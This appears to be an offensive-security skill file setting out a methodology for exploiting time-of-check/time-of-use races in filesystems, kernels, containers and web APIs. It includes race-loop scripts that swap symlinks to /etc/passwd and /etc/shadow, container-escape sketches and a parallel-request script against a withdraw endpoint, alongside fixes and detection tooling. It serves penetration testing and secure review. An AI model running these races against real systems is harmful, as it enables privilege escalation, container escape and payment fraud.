---

name: offensive-toctou
description: "Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment/idempotency races, and modern race-amplification techniques (single-packet attack, slow loris, FUSE pause, cgroup freeze, scheduler shaping). Use when you've identified a 'check then act' pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries / kernel / orchestrators."

TOCTOU — Time-of-Check / Time-of-Use Exploitation

A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.

Quick Workflow

1. Identify the check (syscall, function, validation step) and the use (the privileged action)
2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
3. Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
4. Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
5. Run a tight loop and confirm the post-use state corresponds to the swapped target

---

The Core Pattern

// Vulnerable
if (access(path, W_OK) == 0) {     // check  — resolves "path" now
    fd = open(path, O_WRONLY);     // use    — re-resolves "path" later
    write(fd, attacker_data, n);
}

Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.

The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.

---

Filesystem TOCTOU

Symlink Swap (Classic)

# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output

# Race loop
while true; do
  ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
  ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &

# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done

renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap

syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);

RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.

Directory Swap (mv between two prepared trees)

When the victim resolves parent/file, swap parent itself:

mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side

Bind Mount / Mount-Namespace Swap (root-only or in user-ns)

unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done

In containerized contexts with CAP_SYS_ADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.

---

Window-Widening Primitives

The race is always winnable in theory; in practice you need the window large enough for your swap.

FUSE-Backed Slow Filesystem

Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:

# fusepy
class SlowFS(Operations):
    def getattr(self, path, fh=None):
        if path == '/trigger':
            time.sleep(5)   # stretch the check
        return os.lstat(self.root + path).__dict__

Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.

Userfaultfd (kernel-level page faults)

// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, &reg);

userfaultfd can pause a kernel-side copy_from_user mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).

Cgroup Freeze

mkdir /sys/fs/cgroup/race
echo  > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze   # resume

Single-CPU Pinning + sched_yield

cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit

---

Kernel Double-Fetch

A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.

// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4);   // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.

Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.

---

/proc and procfs Races

/proc/pid/exe + ptrace

/proc/<pid>/exe is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).

// Sketch
fd = open("/proc/self/exe", O_RDONLY);  // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE

/proc/pid/mem

open("/proc/pid/mem") followed by lseek+write historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.

/proc/pid/cwd / fd / root

Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of /proc/pid/root/etc/shadow from a sibling container is a recurring vuln class.

---

Setuid Binary TOCTOU

// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) {       // check with real UID via access()
    fd = open(file, O_RDONLY);   // open with effective UID = root
    sendfile(stdout, fd, ...);
}

Symlink swap between access and open makes the binary read root-readable files for unprivileged users.

Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.

strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep ""
# Multiple resolutions of the same user-controlled path = TOCTOU surface

---

Container Escape via TOCTOU

CVE-2019-5736 (runc) — /proc/self/exe Overwrite

When a container runs docker exec, runc opens /proc/self/exe from the host. By replacing the in-container binary with a symlink to /proc/self/exe, the host runc rewrites itself.

CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak

A leaked file descriptor to the host filesystem could be inherited via WORKDIR /proc/self/fd/<n> — the container's first process held a host FD, races on namespace setup let it act on host paths.

Symlink-on-Mount Race

When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to /. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.

---

Web / API TOCTOU

Auth vs Authz Split at Gateway

Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header

If the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.

Permission Recheck Skipped on Long-Running Action

# Vulnerable
def long_export(user, resource_id):
    check_access(user, resource_id)        # check
    data = stream_resource(resource_id)    # use — minutes long
    return data                            # access could have been revoked mid-stream

Test: revoke access while a download is mid-stream; if data continues, recheck is missing.

Idempotency-Key Reuse with Different Body

POST /api/withdraw  Idempotency-Key: K1  { "amount": 1 }
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1000 }   # Same key, different body

Many implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.

Single-Packet Multi-Request

HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".

This is the standard primitive for web TOCTOU since 2023; old httpie ... & parallelism is obsolete.

Limit / Quota TOCTOU

# Vulnerable
if user.balance >= amount:    # check
    user.balance -= amount    # use — non-atomic read-modify-write
    pay(user, amount)

Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (UPDATE ... WHERE balance >= amount).

---

Mobile / Binary Cookbook

Android: Intent Redirect TOCTOU

Activity checks calling package via getCallingPackage() then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.

iOS: NSXPC Audit Token Confusion

audit_token_t should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.

---

Detection & Tooling

Tool	Layer	Use
strace -e trace=file -f	Linux syscall	Find duplicate path resolutions
bpftrace / bcc	Kernel	Probe specific syscalls' args at scale
ThreadSanitizer (TSan)	Userspace C/C++	Compile-time race detection
Helgrind / DRD	Userspace	Pthread race detection
Bochspwn-Reloaded	Kernel	Double-fetch detection
syzkaller	Kernel	Coverage-guided race fuzzing
Burp Suite (Repeater single-packet)	Web/HTTP	Concurrent request races
racepwn	Web	Multi-thread + timing harness
Turbo Intruder	Web	Pipelined parallel requests

# Quick filesystem TOCTOU finder against a binary
strace -f -e trace=file ./target 2>&1 | \
  awk -F'"' '/access|stat|lstat|open|readlink/ {print }' | \
  sort | uniq -c | sort -rn | head
# Paths appearing N>1 times → TOCTOU candidates

---

Race Loop Templates

Filesystem (C)

#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
    pid_t p = fork();
    if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
    for(;;) execve(victim, args, env);
}

Web (Python — single-packet HTTP/2)

# Use httpx or h2 directly; pyburp or turbo-intruder for production
import httpx, anyio
async def race():
    async with httpx.AsyncClient(http2=True) as c:
        async with anyio.create_task_group() as tg:
            for _ in range(30):
                tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100})
anyio.run(race)

For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.

---

Reporting / Severity

A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:

1. The minimum reproducer
2. The window-widener used
3. The success rate observed
4. The post-exploit primitive achieved

---

Key References

• MITRE CWE-367 (TOCTOU), CWE-362 (Race Condition)
• USENIX Security: "FUSE for Profit" — TOCTOU window-widening
• PortSwigger Research: "Smashing the state machine" (single-packet HTTP/2 attack)
• runc CVE-2019-5736, CVE-2024-21626 advisories
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md